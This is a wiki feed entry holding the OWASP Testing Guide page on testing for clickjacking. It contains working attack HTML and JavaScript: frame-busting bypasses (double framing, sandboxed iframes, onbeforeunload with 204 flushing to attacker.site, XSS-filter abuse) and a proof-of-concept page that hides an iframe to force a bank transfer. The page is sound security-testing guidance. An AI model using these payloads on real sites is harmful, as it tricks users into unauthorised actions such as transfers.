&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;quot;Clickjacking&amp;quot; (which is a subset of the &amp;quot;UI redressing&amp;quot;) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term &amp;quot;Clickjacking&amp;quot; was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a &amp;quot;client side&amp;quot; security issue that affects a variety of browsers and platforms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an &amp;quot;ad hoc&amp;quot; positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Test===&lt;br /&gt;
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a &amp;quot;proof of concept&amp;quot; to exploit the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some work arounds that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
&lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all requests and responses parameters flowing  through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker's page may look a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clickjacking code the create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
 				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=180326</id>
		<title>Testing for Cross site flashing (OTG-CLIENT-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=180326"/>
				<updated>2014-08-08T13:39:23Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
